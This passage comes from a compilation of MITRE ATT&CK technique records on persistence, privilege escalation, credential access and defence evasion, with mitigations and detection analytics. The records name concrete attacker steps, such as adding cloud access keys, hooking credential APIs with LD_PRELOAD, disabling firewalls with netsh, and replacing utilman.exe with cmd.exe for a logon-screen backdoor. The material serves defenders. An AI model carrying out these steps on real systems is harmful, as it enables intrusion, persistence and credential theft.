and control channel on the host.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Windows, Linux, Containers, ESXi\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms.

A remote `build` request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.\n\nAn adversary may take advantage of that `build` API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize Deploy Container using that custom image. If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers\n\n**Mitigations.** - **Limit Access to Resource Over Network**: Restrict access to network resources, such as file shares, remote systems, and services, to only those users, accounts, or systems with a legitimate business requirement.

These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the `CreateKeyPair` or `ImportKeyPair` API in AWS or the `gcloud compute os-login ssh-keys add` command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.\n\nAdversaries may also use the `CreateAccessKey` API in AWS or the `gcloud iam service-accounts keys create` command in GCP to add access keys to an account. Alternatively, they may use the `CreateLoginProfile` API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.\n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account. […]\n\n## Reference: ATT&CK T1098.002 Additional Email Delegate Permissions\n**ATT&CK T1098.002 Additional Email Delegate Permissions (full record).** Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.\n\nFor example, the `Add-MailboxPermission` PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows, Office Suite\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane.\n\nFor example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance. They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action.

For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions. Allowing access to internal network subsets may enable unrestricted inbound/outbound connectivity or open paths for command and control and lateral movement.\n\nAdversaries may obtain access to network device management interfaces via Valid Accounts or by exploiting vulnerabilities. In some cases, threat actors may target firewalls and other network infrastructure that are exposed to the internet by leveraging weaknesses in public-facing applications (Exploit Public-Facing Application).\n\nAdversaries may also modify host networking configurations that indirectly manipulate system firewalls, such as adjusting interface bandwidth or network connection request thresholds.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action.

This can include disabling the Windows host firewall entirely, suppressing specific profiles (domain, private, public), or adding, deleting, and modifying firewall rules to allow or restrict traffic.\n\nAdversaries may perform these modifications through multiple mechanisms depending on the Windows operating system and access level. For example, adversaries may use command-line utilities (e.g., `netsh advfirewall` or PowerShell cmdlets like `Set-NetFirewallProfile`, `New-NetFirewallRule`), Windows Registry modifications (e.g., altering firewall states and rule configurations via registry keys), or the Windows Control Panel to modify firewall settings through the Windows Security interface.\n\nBy disabling or modifying Windows firewall services, adversaries may enable access to remote services, open ports for command and control traffic, or configure rules for further actions.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action.

Exploitation occurs when an adversary takes advantage of a programming error in software, services, or the operating system to execute adversary-controlled code, often with the goal of weakening or disabling protections.\n\nVulnerabilities may exist in security tools such as antivirus, endpoint detection and response (EDR), firewalls, or other monitoring solutions. Adversaries may use prior reconnaissance or perform discovery activities (e.g., Software Discovery) to identify defensive tools present in an environment and target them for exploitation.\n\nSuccessful exploitation may allow adversaries to terminate security processes, disable protections, bypass enforcement mechanisms, or reduce the effectiveness of defensive controls.

Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.\n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.\n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.\n\nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token.\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\n\n## Reference: ATT&CK T1087.001 Local Account\n**ATT&CK T1087.001 Local Account (full record).** Adversaries may attempt to get a listing of local system accounts.

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\n\n**Classification.** - Tactics: collection, credential-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1056 Input Capture - Adversaries may use methods of capturing user input to obtain credentials or collect information.

Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Behavioral Detection of Spoofed GUI Credential Prompts**\n - Detects suspicious use of PowerShell,.NET, or script interpreters to spawn processes that mimic UAC prompts, often with credential capture dialogue boxes invoked from non-standard parent processes.

During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection of Credential Harvesting via Web Portal Modification**\n - Detects unauthorized modifications to login-facing web server files (e.g., index.php, login.js) typically tied to VPN, SSO, or intranet portals.

Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials.\n\nIn Windows, hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.\n\nIn Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.\n\n**Classification.** - Tactics: collection, credential-access\n- Platforms: Windows, Linux, macOS\n- Sub-technique of: T1056 Input Capture - Adversaries may use methods of capturing user input to obtain credentials or collect information.

Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or `Get-Process` via PowerShell. Information about processes can also be extracted from the output of Native API calls such as `CreateToolhelp32Snapshot`. In Mac and Linux, this is accomplished with the `ps` command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.\n\nOn network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.\n\n**Classification.** - Tactics: discovery\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n\n**Detection strategies and analytics.** - **Detection of Adversarial Process Discovery Behavior**\n - Identifies adversary behavior that launches commands or invokes APIs to enumerate active processes (e.g., tasklist.exe, Get-Process, or CreateToolhelp32Snapshot).

These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.\n\nThere are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\n\n**Classification.** - Tactics: execution\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1059.005 Visual Basic: Adversaries may abuse Visual Basic (VB) for execution.\n- T1059.002 AppleScript: Adversaries may abuse AppleScript for execution.

Then, an application update could be pushed to introduce malicious code.\n\nThis technique could also be accomplished by compromising a developer’s account. This would allow an adversary to take advantage of an existing userbase without having to establish the userbase themselves.\n\n**Classification.** - Tactics: initial-access, defense-evasion\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n- **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Vulnerabilities may be present in the applications, the services, the underlying operating system, or the kernel itself. Several well-known mobile device exploits exist, including FORCEDENTRY, StageFright, and BlueBorne. Furthermore, some exploits may be possible to exploit without any user interaction (i.e. zero-click exploits, see Exploitation for Client Execution), making them particularly dangerous. Mobile operating system vendors are typically very quick to patch such critical bugs, ensuring only a small window where they can be exploited.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Android, iOS\n\n**Mitigations.** - **Security Updates**: Install security updates in response to discovered vulnerabilities.\n- **Antivirus/Antimalware**: Mobile security products, such as Mobile Threat Defense (MTD), offer various device-based mitigations against certain behaviors.\n\n**Detection strategies and analytics.** - **Detection of Exploitation for Initial Access**\n - For Android, detect Exploitation for Initial Access by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

[…]\n\n## Reference: ATT&CK T1665 Hide Infrastructure\n**ATT&CK T1665 Hide Infrastructure (full record).** Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion).\n\nHiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n\n**Detection strategies and analytics.** - **Detection Strategy for Hide Infrastructure**\n - Monitor DNS queries, proxy logs, and user-agent strings for anomalous patterns associated with adversary attempts to hide infrastructure.

When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.\n\n## Mitigations\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of Windows Service Creation or Modification**\n - Detects creation or modification of Windows Services through command-line tools (e.g., `sc.exe`, `powershell.exe`), Registry key changes under `HKLM\\System\\CurrentControlSet\\Services`, and service execution under SYSTEM with unsigned or anomalous binary paths. Detects privilege escalation via driver installation or `CreateServiceW` usage. Correlates parent-child lineage, startup behavior, and rare service names.

When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.\n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW` (or manually via functions such as `ZwLoadDriver` and `ZwSetValueKey`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.\n\n## Reference: ATT&CK T1210 Exploitation of Remote Services\n**ATT&CK T1210 Exploitation of Remote Services (full record).** Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, Windows, macOS, ESXi\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Vulnerability Scanning**: Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses. […]\n\n## Reference: ATT&CK T1211 Exploitation for Stealth\n**ATT&CK T1211 Exploitation for Stealth (full record).** Adversaries may exploit vulnerabilities to evade detection by hiding activity, suppressing logging, or operating within trusted or unmonitored components.\n\nAdversaries may exploit a system or application vulnerability to avoid detection while maintaining access within an environment. Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.\n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.\n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows, macOS, SaaS, IaaS\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Threat Intelligence Program**: A Threat Intelligence Program enables organizations to proactively identify, analyze, and act on cyber threats by leveraging internal and external data sources. The program supports decision-making processes, prioritizes defenses, and improves incident response by delivering actionable intelligence tailored to the organization's risk profile and operational environment. […]\n\n## Reference: ATT&CK T1212 Exploitation for Credential Access\n**ATT&CK T1212 Exploitation for Credential Access (full record).** Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, Windows, macOS, Identity Provider\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software.\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. […]\n\n## Reference: ATT&CK T1213 Data from Information Repositories\n**ATT&CK T1213 Data from Information Repositories (full record).** Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., Transfer Data to Cloud Account).\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII)\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases\n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams\n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.\n\n**Classification.** - Tactics: collection\n- Platforms: Linux, Windows, macOS, SaaS, IaaS, Office Suite\n\n**Sub-techniques.** - T1213.003 Code Repositories: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds.\n- T1213.006 Databases: Adversaries may leverage databases to mine valuable information.

Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in `/System/Library/LaunchDaemons/` and `/Library/LaunchDaemons/`. Required Launch Daemons parameters include a `Label` to identify the task, `Program` to provide a path to the executable, and `RunAtLoad` to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the `RunAtLoad` parameter set to `true` and the `Program` parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading).

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under `HKEY_CLASSES_ROOT\\.[extension]`, for example `HKEY_CLASSES_ROOT\\.txt`. The entries point to a handler for that extension located at `HKEY_CLASSES_ROOT\\\\[handler]`. The various commands are then listed as subkeys underneath the shell key at `HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command`. For example:\n\n* `HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command`\n* `HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command`\n* `HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command`\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension.

Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n## Mitigations\n- **Limit Access to Resource Over Network**: Restrict access to network resources, such as file shares, remote systems, and services, to only those users, accounts, or systems with a legitimate business requirement. This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification**\n - Defenders can observe suspicious replacement or tampering of system accessibility binaries (e.g., utilman.exe, sethc.exe, osk.exe) and anomalous modifications to registry keys used to redirect accessibility programs (such as IFEO keys). Additionally, execution of cmd.exe or other suspicious binaries triggered from the login screen by SYSTEM can be correlated as part of a behavior chain.

Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are `C:\\Windows\\System32\\sethc.exe`, launched when the shift key is pressed five times and `C:\\Windows\\System32\\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%\\`, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\\Windows\\System32\\utilman.exe`) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.\n\nOther accessibility features exist that may also be leveraged in a similar fashion:\n\n* On-Screen Keyboard: `C:\\Windows\\System32\\osk.exe`\n* Magnifier: `C:\\Windows\\System32\\Magnify.exe`\n* Narrator: `C:\\Windows\\System32\\Narrator.exe`\n* Display Switcher: `C:\\Windows\\System32\\DisplaySwitch.exe`\n* App Switcher: `C:\\Windows\\System32\\AtBroker.exe`\n\n## Reference: ATT&CK DET0102 Behavioral Detection of Input Capture Across Platforms\n**Detects.** - T1056 Input Capture\n\n**Analytics.** - Analytic 0282: Monitors for abnormal process behavior and API calls like SetWindowsHookEx, GetAsyncKeyState, or device input polling commonly used for keystroke logging.\n- Analytic 0283: Detects use of tools/scripts accessing input devices like /dev/input/* or evdev via suspicious processes lacking GUI context.\n- Analytic 0284: Monitors for TCC-bypassing or unauthorized access to input services like IOHIDSystem or Quartz Event Services used in keylogging or screen monitoring.\n- Analytic 0285: Detects 